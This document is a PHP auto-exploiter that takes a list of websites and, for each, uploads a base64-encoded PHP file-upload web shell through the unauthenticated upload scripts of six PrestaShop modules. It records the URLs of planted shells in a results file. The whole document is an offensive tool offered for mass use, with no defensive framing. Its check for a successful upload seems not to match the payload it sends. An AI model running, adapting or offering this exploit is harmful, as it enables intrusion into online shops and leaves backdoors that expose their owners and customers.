6 Module Prestashop Auto Exploiter

<?php
// Coded By ./MalingSendal - Trenggalek Cyber Army
// Greetz : CowoKerensTeam & Sector Security Tester
// Usage  : php presta.php list.txt
error_reporting(0);
set_time_limit(0);

if(!file_exists($argv[1])){
  die('List Target Not Found !');
}
$get=file_get_contents($argv[1]);
$ex=explode("\n",$get);
$maling=file($argv[1]);
date_default_timezone_set('Indonesia');
$date = date('m/d/Y h:i:s a', time());
echo"
     ____________________________
    !\_________________________/!\
    !!                         !! \
    !!                         !!  \
    !!                         !!  !
    !!   6 Modules Prestashop  !!  !
    !!          Usage          !!  !
    !! Php presta.php list.txt !!  !
    !!                         !!  !
    !!                         !!  /
    !!_________________________!! /
    !/_________________________\!/
       __\_________________/__/!_
      !_______________________!/ )
    ________________________    (__
   /oooo  oooo  oooo  oooo /!   _  )_
  /ooooooooooooooooooooooo/ /  (_)_(_)
 /ooooooooooooooooooooooo/ /    (o o)
/C=_____________________/_/    ==\o/==
#######################################
####### Coded By ./MalingSendal #######
####### Php presta.php list.txt #######
#######################################
\n
";
echo "   Start in : ".$date;
echo"\n   Total ".count($maling)." Website\n\n";



foreach($maling as $sites){
    // Ini file uploadernya
    $maling = 'PD9waHANCiRmaWxlcyA9IEAkX0ZJTEVTWyJmaWxlcyJdOw0KaWYgKCRmaWxlc1sibmFtZSJdICE9ICcnKSB7DQokZnVsbHBhdGggPSAkX1JFUVVFU1RbInBhdGgiXSAuICRmaWxlc1sibmFtZSJdOw0KaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZXNbJ3RtcF9uYW1lJ10sICRmdWxscGF0aCkpIHsNCmVjaG8gIjxoMT48YSBocmVmPSckZnVsbHBhdGgnPi0+IENsaWNrIEhlcmUgVG8gR28gWW91ciBGaWxlIDwtPC9hPjwvaDE+IjsNCn0NCn1lY2hvICc8aHRtbD48aGVhZD48dGl0bGU+VXBsb2FkIGZpbGVzLi4uPC90aXRsZT48L2hlYWQ+PGJvZHk+PGZvcm0gbWV0aG9kPVBPU1QgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSIiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXRoPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlcyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJVcCI+PC9mb3JtPjwvYm9keT48L2h0bWw+JzsNCj8+';

$file = fopen("up.php" ,"w+"); // Nama file uploadernya
$write = fwrite ($file ,base64_decode($maling));

   echo " \nScaning > $sites";
   $sites=trim($sites);
   //  Module Simpleslideshow
    echo "\n\n       [1] Simpleslideshow";
   $uploadfile="up.php";
   $url = "/modules/simpleslideshow/uploadimage.php";
   $url2 = "/modules/simpleslideshow/slides/up.php";
   $ch = curl_init("$sites.$url");
   curl_setopt($ch, CURLOPT_POST, true);
   curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile"));
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $postResult = curl_exec($ch);
   curl_close($ch);
 $get1=@file_get_contents($sites.$url2);
    if(preg_match('#killer#',$get1)){
    echo "\n\t $sites$url2";
    $f = fopen("ResultShell.htm","a+");
        fwrite ($f,$sites.$url2."<br>");
        fclose($f);
        } else {
        echo "\n\t     Failed ";

}
  //  Module Productpageadverts
    echo "\n       [2] Productpageadverts";
   $uploadfile2="up.php";
   $url3 = "/modules/productpageadverts/uploadimage.php";
   $url24 = "/modules/productpageadverts/slides/up.php";
   $ch = curl_init("$sites.$url3");
   curl_setopt($ch, CURLOPT_POST, true);
   curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile2"));
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $postResult = curl_exec($ch);
    curl_close($ch);
 $get12=@file_get_contents($sites.$url24);
    if(preg_match('#killer#',$get12)){
    echo "\n\t $sites$url24";
    $f = fopen("ResultShell.htm","a+");
        fwrite ($f,$sites.$url24."<br>");
        fclose($f);
        } else {
        echo "\n\t     Failed";

}
   // Modules Columnadverts
    echo "\n       [3] Columnadverts";
   $uploadfile23="up.php";
   $url34 = "/modules/columnadverts/uploadimage.php";
   $url245 = "/modules/columnadverts/slides/up.php";
   $ch = curl_init("$sites.$url34");
   curl_setopt($ch, CURLOPT_POST, true);
   curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile23"));
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $postResult = curl_exec($ch);
    curl_close($ch);
 $get123=@file_get_contents($sites.$url245);
    if(preg_match('#killer#',$get123)){
    echo "\n\t $sites$url245";
    $f = fopen("ResultShell.htm","a+");
        fwrite ($f,$sites.$url245."<br>");
        fclose($f);
        } else {
        echo "\n\t     Failed";
}
   // Modules Columnadverts 2
    echo "\n       [3] Columnadverts 2";
   $uploadfile23="up.php";
   $url34 = "/modules/columnadverts2/uploadimage.php";
   $url245 = "/modules/columnadverts2/slides/up.php";
   $ch = curl_init("$sites.$url34");
   curl_setopt($ch, CURLOPT_POST, true);
   curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile23"));
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $postResult = curl_exec($ch);
    curl_close($ch);
 $get123=@file_get_contents($sites.$url245);
    if(preg_match('#killer#',$get123)){
    echo "\n\t $sites$url245";
    $f = fopen("ResultShell.htm","a+");
        fwrite ($f,$sites.$url245."<br>");
        fclose($f);
        } else {
        echo "\n\t     Failed";
}
  // Modules Homepageadvertise
      echo "\n       [4] Homepageadvertise";
   $uploadfile234="up.php";
   $url345 = "/modules/homepageadvertise/uploadimage.php";
   $url2456 = "/modules/homepageadvertise/slides/up.php";
   $ch = curl_init("$sites.$url345");
   curl_setopt($ch, CURLOPT_POST, true);
   curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile234"));
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $postResult = curl_exec($ch);
    curl_close($ch);
 $get124=@file_get_contents($sites.$url2456);
    if(preg_match('#killer#',$get124)){
    echo "\n\t $sites$url2456";
        $f = fopen("ResultShell.htm","a+");
        fwrite ($f,$sites.$url2456."<br>");
        fclose($f);
        } else {
        echo "\n\t     Failed";
}
  // Modules Homepageadvertise 2
      echo "\n       [4] Homepageadvertise 2";
   $uploadfile234="up.php";
   $url345 = "/modules/homepageadvertise2/uploadimage.php";
   $url2456 = "/modules/homepageadvertise2/slides/up.php";
   $ch = curl_init("$sites.$url345");
   curl_setopt($ch, CURLOPT_POST, true);
   curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile234"));
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $postResult = curl_exec($ch);
    curl_close($ch);
 $get124=@file_get_contents($sites.$url2456);
    if(preg_match('#killer#',$get124)){
    echo "\n\t $sites$url2456";
        $f = fopen("ResultShell.htm","a+");
        fwrite ($f,$sites.$url2456."<br>");
        fclose($f);
        } else {
        echo "\n\t     Failed";
}
  // Modules Attributewizardpro
      echo "\n       [5] Attributewizardpro";
   $uploadfile2345="up.php";
   $url3456 = "/modules/attributewizardpro/file_upload.php";
   $url24567 = "/modules/attributewizardpro/file_uploads/up.php";
   $ch = curl_init("$sites.$url3456");
   curl_setopt($ch, CURLOPT_POST, true);
   curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile2345"));
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $postResult = curl_exec($ch);
    curl_close($ch);
 $get125=@file_get_contents($sites.$url24567);
    if(preg_match('#killer#',$get125)){
    echo "\n\t $sites$url24567";
        $f = fopen("ResultShell.htm","a+");
        fwrite ($f,$sites.$url24567."<br>");
        fclose($f);
        } else {
        echo "\n\t     Failed";
}
 // Modules Vtemslideshow
     echo "\n       [6] Vtemslideshow";
   $uploadfile2349="up.php";
   $url3450 = "/modules/vtemslideshow/uploadimage.php";
   $url24560 = "/modules/vtemslideshow/slides/up.php";
   $ch = curl_init("$sites.$url3450");
   curl_setopt($ch, CURLOPT_POST, true);
   curl_setopt($ch, CURLOPT_POSTFIELDS, array('userfile'=>"@$uploadfile2349"));
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $postResult = curl_exec($ch);
    curl_close($ch);
 $get1276=@file_get_contents($sites.$url24560);
    if(preg_match('#killer#',$get1276)){
    echo "\n\t $sites$url24560";
            $f = fopen("ResultShell.htm","a+");
        fwrite ($f,$sites.$url24560."<br>");
        fclose($f);
        } else {
        echo "\n\t      Faileded \n";
} }
?>